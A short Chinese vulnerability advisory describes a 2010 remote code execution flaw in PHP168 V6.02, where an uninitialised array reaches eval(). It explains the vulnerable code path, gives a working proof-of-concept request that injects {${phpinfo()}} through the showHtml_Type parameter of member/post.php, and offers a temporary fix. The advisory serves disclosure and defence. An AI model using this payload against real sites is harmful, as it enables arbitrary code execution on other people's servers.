PHP168 V6.02整站系统远程执行任意代码漏洞

发布时间:2010-09-10
影响版本:PHP168 V6.02
漏洞描述:PHP168在某些函数里运用了eval函数,但是某数组没有初试化,导致可以提交任意代码执行.

漏洞出在inc/function.inc.php里面.get_html_url()这个函数.

当$showHtml_Type这个数组存在时,赋值$filename_b为$showHtml_Type[bencandy][$id].跟一下这个get_html_url()函数.

在member/post.php中:

当only或者fid不等于0时,且job等于"endHTML"时,执行函数.由于$showHtml_Type数组和$aid是可以由我们赋值的,所以漏洞产生.

测试方法

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

先注册一个会员,登陆后在地址栏提交:

http://v6.php168.com/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML

可以看到执行了phpinfo().

安全建议

临时解决办法:

初始化$showHtml_Type数组.

厂商补丁:
PHP168
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php168.net/